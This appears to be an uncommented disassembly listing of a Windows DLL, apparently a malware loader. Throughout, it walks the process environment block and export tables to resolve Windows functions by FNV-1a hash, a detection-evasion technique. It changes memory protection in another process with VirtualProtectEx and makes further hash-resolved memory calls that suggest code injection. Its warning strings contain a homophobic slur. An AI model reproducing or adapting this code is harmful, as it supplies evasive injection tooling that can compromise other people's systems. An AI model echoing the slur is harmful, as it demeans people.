nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800022f0
cmp edx, 0x3aa953d0
je 0x18000231a
test r9d, r9d
jne 0x1800022d0
mov rax, qword [rax]
jmp 0x1800022a0
mov ecx, dword [rbx + 0x24]
mov edx, dword [rdi + 0xc]
add rcx, r10
add rdx, r14
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
xor ebx, ebx
mov r9d, dword [rdi + 8]
add rcx, r10
mov qword [rsp + 0x20], rbx
mov eax, dword [rcx + r8*4]
mov r8, r15
add rax, r10
mov rcx, r12
call rax
lea rdx, str..rsrc
lea r8, str..reloc
movzx eax, word [r13 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x180002240
mov r12, qword [rbp + 0x57]
movzx ecx, ax
movzx eax, word [r13 + 0x14]
mov r14d, ebx
add rax, 0x20
test cx, cx
je 0x1800024b3
mov r12, qword [rbp + 0x5f]
lea rdi, [rax + r13]
mov r15, qword [rbp + 0x4f]
mov ecx, 0x20
nop dword [rax]
cmp dword [rdi], 0
je 0x180002493
mov eax, dword [rdi + 0x1c]
mov dword [rbp + 0x67], ebx
test eax, 0x80000000
jbe 0x1800023bd
mov esi, 4
jmp 0x1800023ca
test eax, 0x20000000
mov esi, 2
cmova esi, ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002455
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002455
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x60193e6d
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002450
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002430
cmp edx, 0xca9872b6
je 0x18000245a
test r9d, r9d
jne 0x180002410
mov rax, qword [rax]
jmp 0x1800023e0
mov ecx, dword [rbx + 0x24]
mov edx, dword [rdi + 4]
add rcx, r10
add rdx, r12
movzx r8d, word [rcx + r9*2]
mov r9d, esi
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
lea rcx, [rbp + 0x67]
mov r8d, dword [rdi]
add rax, r10
mov qword [rsp + 0x20], rcx
mov rcx, r15
call rax
mov ecx, 0x20
xor ebx, ebx
movzx eax, word [r13 + 6]
inc r14d
add rdi, 0x28
cmp r14d, eax
jne 0x1800023a0
mov r15, qword [rbp + 0x8f]
mov r12, qword [rbp + 0x57]
movzx eax, word [r13 + 0x14]
mov r9d, 2
mov rdi, qword [rbp + 0x4f]
mov rdx, qword [rbp + 0x5f]
mov rcx, rdi
mov dword [rbp + 0x77], ebx
mov r8d, dword [rax + r13 + 0x24]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002575
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002575
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xdff22906
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002570
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002550
cmp edx, 0x41f0fb69
je 0x18000257a
test r9d, r9d
jne 0x180002530
mov rax, qword [rax]
jmp 0x180002500
mov eax, dword [rbx + 0x24]
mov r8, r15
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
mov qword [rsp + 0x20], 0
movzx edx, word [rax + r9*2]
mov r9d, 0x1000
mov eax, dword [rcx + rdx*4]
mov rdx, r12
add rax, r10
mov rcx, rdi
call rax
test eax, eax
jne 0x1800025bb
lea rcx, str.WARNING:_Cant_clear_that_bitch_gay_boy_1_n
call fcn.180001080
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002645
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002645
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xb3b96eb1
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002640
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002620
cmp edx, 0x161b4ddb
je 0x18000264a
test r9d, r9d
jne 0x180002600
mov rax, qword [rax]
jmp 0x1800025d0
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, 0x8000
mov eax, dword [rcx + rdx*4]
mov rdx, r12
add rax, r10
mov rcx, rdi
call rax
test eax, eax
jne 0x180002682
lea rcx, str.WARNING:_cant_2_n
call fcn.180001080
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002715
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002715
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xf87f4a9d
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002710
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800026f0
cmp edx, 0x4f615e4f
je 0x18000271a
test r9d, r9d
jne 0x1800026d0
mov rax, qword [rax]
jmp 0x1800026a0
mov eax, dword [rbx + 0x24]
xor r8d, r8d
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov r9d, 0x8000
mov eax, dword [rcx + rdx*4]
mov rcx, rdi
mov rdx, qword [rsp + 0x40]
add rax, r10
call rax
test eax, eax
jne 0x180002754
lea rcx, str.WARNING:_cant_3_n
call fcn.180001080
mov al, 1
jmp 0x180002995
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800027e5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800027e5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xd230849e
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800027e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800027c0
cmp edx, 0x2228619e
je 0x1800027ea
test r9d, r9d
jne 0x1800027a0
mov rax, qword [rax]
jmp 0x180002770
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800028a5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800028a5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xb7bdff92
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800028a0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002880
cmp edx, 0xc09e316a
je 0x1800028aa
test r9d, r9d
jne 0x180002860
mov rax, qword [rax]
jmp 0x180002830
mov ecx, dword [rbx + 0x24]
mov rdx, rdi
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002965
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002965
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x99064fb6
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x180002960
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x180002940
cmp edx, 0x64b6e2f6
je 0x18000296a
test r9d, r9d
jne 0x180002920
mov rax, qword [rax]
jmp 0x1800028f0
mov rdx, r12
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov rcx, rsi
mov r9d, 0x8000
xor r8d, r8d
add rax, r10
call rax
xor al, al
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret